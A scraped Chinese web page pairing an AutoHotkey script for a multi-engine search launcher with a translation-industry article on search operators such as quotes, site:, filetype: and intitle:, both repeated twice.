2.开启时自动添加剪切板作为关键词
3.提示选择不常见的搜索引擎高级语法,再也不用临时查一下语法怎么用了
3.专门对搜索编程语法加入了一些强化,目前仅有加入编程语言后缀这个功能,之后再加
4.快速添加常用网站内搜索
5.后续会添加快速添加常用网站目录以及对编程相关内容的搜索强化,以及一些编辑强化的功能吧,
源码
<br /><br />#IfWinActive ahk_id hedit ^ & Enter:: Gosub Search#IfWinActive#s:: Gosub MSearch<br />MSearch: Engine:= {Bing:"https://www.bing.com/search%3F ... ot%3B , Bai:"https://www.baidu.com/s?wd=" , Google:"https://www.google.com/search?q=" , zhi:"https://www.zhihu.com/search%3 ... ot%3B , Git:"https://github.com/search?utf8=`%E2`%9C`%93&q="} copy() gui,Destroy Gui Add, Text, w-2 h-2 section Gui Add, Text, y+5 section,<br /> For k,v in Engine Gui Add, CheckBox, % ((k ~= "Google") ? "Checked" : "") . " x+5 v" k,%k%<br /> Gui add, DropDownList, y+5 xs w120 v搜索语法添加 g搜索语法,标题|内容|链接锚点|网站|url|特定类型文件|关联|信息|搜索语法提示|| Gui add, DropDownList,x+5 w120 v网站模板添加 g网站模板,政府|stackoverflow|指定网站模板||<br /> Gui add, DropDownList,x+5 w120 v编程语言后缀 g编程语言,js|python|c|ahk|编程语言搜索|| gui, font, s20, Verdana Gui Add, Edit ,xs-4 w500 h100 Hwndhedit vKeywords,%Clipboard% Gui Add,Button, xs-4 gSearch,Search Gui Show, ,MSearchreturn<br />; bom<br />Search: Gui submit, NoHide For i,n in Engine { If %i% = 1 run , % Engine[i] . RegExReplace(Keywords,"%","%25") }return<br />搜索语法: Gui submit, NoHide 搜索语法:="" switch 搜索语法添加 { case "标题": 搜索语法:=" intitle:" case "内容": 搜索语法:=" intext:" case "链接锚点": 搜索语法:=" inanchor:login" case "网站": 搜索语法:=" site:" case "url": 搜索语法:=" inurl:" case "链接特定url": 搜索语法:=" link:www.baidu.com" case "特定类型文件": 搜索语法:=" filetype:" case "关联": 搜索语法:=" related:" case "信息": 搜索语法:=" info:" } AppendEdit(hedit, 搜索语法) Return<br /> 网站模板: Gui submit, NoHide 网站模板:="" switch 网站模板添加 { case "政府": 网站模板:=" site:gov.cn" case "stackoverflow": 网站模板:=" site:stackoverflow.com"<br /> } AppendEdit(hedit, 网站模板) Return<br /> 编程语言: Gui submit, NoHide 编程语言:="" switch 编程语言后缀 { case "js": 编程语言:=" js" case "python": 编程语言:=" python" case "c": 编程语言:=" c" case "ahk": 编程语言:=" ahk" } AppendEdit(hedit, 编程语言) Return<br /> AppendEdit(hEdit, text) { text .= "`r`n" SendMessage, 0xB1, -2, -1,, ahk_id %hEdit% ; EM_SETSEL SendMessage, 0xC2, 0, &text,, ahk_id %hEdit% ; EM_REPLACESEL SendMessage, 0x115, 7, 0,, ahk_id %hEdit% ; WM_VSCROLL } 查看全部
聚合搜索工具升级版源码
学会搜索真的很重要,能用搜索引擎解决的就没必要问来问去,所以这个小工具是给还不怎么会搜索的同学用的.
演示
之前发的小工具的升级版,自用的时候用一个类似控制台的软件来激活,或者自己定义快捷键
同步ahk社区的文章发布
主要功能,
1.多个搜索引擎可选批量搜索
2.开启时自动添加剪切板作为关键词
3.提示选择不常见的搜索引擎高级语法,再也不用临时查一下语法怎么用了
3.专门对搜索编程语法加入了一些强化,目前仅有加入编程语言后缀这个功能,之后再加
4.快速添加常用网站内搜索
5.后续会添加快速添加常用网站目录以及对编程相关内容的搜索强化,以及一些编辑强化的功能吧,
源码
<br /><br />#IfWinActive ahk_id hedit ^ & Enter:: Gosub Search#IfWinActive#s:: Gosub MSearch<br />MSearch: Engine:= {Bing:"https://www.bing.com/search%3F ... ot%3B , Bai:"https://www.baidu.com/s?wd=" , Google:"https://www.google.com/search?q=" , zhi:"https://www.zhihu.com/search%3 ... ot%3B , Git:"https://github.com/search?utf8=`%E2`%9C`%93&q="} copy() gui,Destroy Gui Add, Text, w-2 h-2 section Gui Add, Text, y+5 section,<br /> For k,v in Engine Gui Add, CheckBox, % ((k ~= "Google") ? "Checked" : "") . " x+5 v" k,%k%<br /> Gui add, DropDownList, y+5 xs w120 v搜索语法添加 g搜索语法,标题|内容|链接锚点|网站|url|特定类型文件|关联|信息|搜索语法提示|| Gui add, DropDownList,x+5 w120 v网站模板添加 g网站模板,政府|stackoverflow|指定网站模板||<br /> Gui add, DropDownList,x+5 w120 v编程语言后缀 g编程语言,js|python|c|ahk|编程语言搜索|| gui, font, s20, Verdana Gui Add, Edit ,xs-4 w500 h100 Hwndhedit vKeywords,%Clipboard% Gui Add,Button, xs-4 gSearch,Search Gui Show, ,MSearchreturn<br />; bom<br />Search: Gui submit, NoHide For i,n in Engine { If %i% = 1 run , % Engine[i] . RegExReplace(Keywords,"%","%25") }return<br />搜索语法: Gui submit, NoHide 搜索语法:="" switch 搜索语法添加 { case "标题": 搜索语法:=" intitle:" case "内容": 搜索语法:=" intext:" case "链接锚点": 搜索语法:=" inanchor:login" case "网站": 搜索语法:=" site:" case "url": 搜索语法:=" inurl:" case "链接特定url": 搜索语法:=" link:www.baidu.com" case "特定类型文件": 搜索语法:=" filetype:" case "关联": 搜索语法:=" related:" case "信息": 搜索语法:=" info:" } AppendEdit(hedit, 搜索语法) Return<br /> 网站模板: Gui submit, NoHide 网站模板:="" switch 网站模板添加 { case "政府": 网站模板:=" site:gov.cn" case "stackoverflow": 网站模板:=" site:stackoverflow.com"<br /> } AppendEdit(hedit, 网站模板) Return<br /> 编程语言: Gui submit, NoHide 编程语言:="" switch 编程语言后缀 { case "js": 编程语言:=" js" case "python": 编程语言:=" python" case "c": 编程语言:=" c" case "ahk": 编程语言:=" ahk" } AppendEdit(hedit, 编程语言) Return<br /> AppendEdit(hEdit, text) { text .= "`r`n" SendMessage, 0xB1, -2, -1,, ahk_id %hEdit% ; EM_SETSEL SendMessage, 0xC2, 0, &text,, ahk_id %hEdit% ; EM_REPLACESEL SendMessage, 0x115, 7, 0,, ahk_id %hEdit% ; WM_VSCROLL }
搜商 | 4个搜索命令,助你事半功倍
网站优化 • 优采云 发表了文章 • 0 个评论 • 69 次浏览 • 2022-05-02 19:52
网络时代的到来给我们提供了丰富的信息资源,在翻译的过程中,我们经常会通过搜索引擎来了解背景知识、查证术语。
然而,从海量的网络信息中准确获取所需内容也成为新的难点。你是否遇到过花费大量时间却仍找不到满意结果的情况?
以下4个搜索技巧,能帮助我们提高效率,快速精准地检索到想要的信息。
双引号
通过这一指令,可进行完全匹配检索。
有时,搜索引擎会对我们输入的检索词进行拆分,导致搜索结果不能如我们所愿。比如,当我们输入翻译技术教育,会出现只包含部分关键词翻译技术的结果,甚至还有一些不相关的内容。
这种情况下,我们可以用双引号将检索词括起来,将其作为一个整体。
比如,输入"翻译技术教育",搜索结果中就会包含双引号中出现的所有字词,连顺序也完全匹配。
我们可以从以下两张图片中,看到不加双引号与加双引号的区别。加上双引号后,相关结果从原来的2060万个减少到了68个,大大提高了精确度。
关键词+空格+site:+网址
通过这一指令,可以在指定网站上搜索相应的关键词。
比如,输入 新能源公交车辆 site:,其结果便是中国日报网上关于“新能源公交车辆”的内容。
另外,如果我们想在政府官网或学校官网等某一类网站搜索相关信息,可以在site:后加上域名后缀,比如site:.或者site:.。
关键词+空格+filetype:+文件格式
通过这一指令,可以搜索pdf、doc、xls、ppt等指定文件格式的资源。
比如,输入 translation technology filetype:pdf,搜索结果就是包含translation technology这个关键词的所有pdf文件。
intitle:+关键词
通过这一指令,可以限定所检索的关键词必须出现在搜索结果的标题中。
比如,输入intitle:翻译技术的应用,就可以过滤掉那些没有在标题中提及关键词的结果。
学习搜索技巧,提高“搜商”,能让我们更好更快地解决问题,不至于淹没在互联网的海量信息之中。快快试起来吧!
END
【往期回顾】
微信公众号
语言服务行业 查看全部
搜商 | 4个搜索命令,助你事半功倍
网络时代的到来给我们提供了丰富的信息资源,在翻译的过程中,我们经常会通过搜索引擎来了解背景知识、查证术语。
然而,从海量的网络信息中准确获取所需内容也成为新的难点。你是否遇到过花费大量时间却仍找不到满意结果的情况?
以下4个搜索技巧,能帮助我们提高效率,快速精准地检索到想要的信息。
双引号
通过这一指令,可进行完全匹配检索。
有时,搜索引擎会对我们输入的检索词进行拆分,导致搜索结果不能如我们所愿。比如,当我们输入翻译技术教育,会出现只包含部分关键词翻译技术的结果,甚至还有一些不相关的内容。
这种情况下,我们可以用双引号将检索词括起来,将其作为一个整体。
比如,输入"翻译技术教育",搜索结果中就会包含双引号中出现的所有字词,连顺序也完全匹配。
我们可以从以下两张图片中,看到不加双引号与加双引号的区别。加上双引号后,相关结果从原来的2060万个减少到了68个,大大提高了精确度。
关键词+空格+site:+网址
通过这一指令,可以在指定网站上搜索相应的关键词。
比如,输入 新能源公交车辆 site:,其结果便是中国日报网上关于“新能源公交车辆”的内容。
另外,如果我们想在政府官网或学校官网等某一类网站搜索相关信息,可以在site:后加上域名后缀,比如site:.或者site:.。
关键词+空格+filetype:+文件格式
通过这一指令,可以搜索pdf、doc、xls、ppt等指定文件格式的资源。
比如,输入 translation technology filetype:pdf,搜索结果就是包含translation technology这个关键词的所有pdf文件。
intitle:+关键词
通过这一指令,可以限定所检索的关键词必须出现在搜索结果的标题中。
比如,输入intitle:翻译技术的应用,就可以过滤掉那些没有在标题中提及关键词的结果。
学习搜索技巧,提高“搜商”,能让我们更好更快地解决问题,不至于淹没在互联网的海量信息之中。快快试起来吧!
END
【往期回顾】
微信公众号
语言服务行业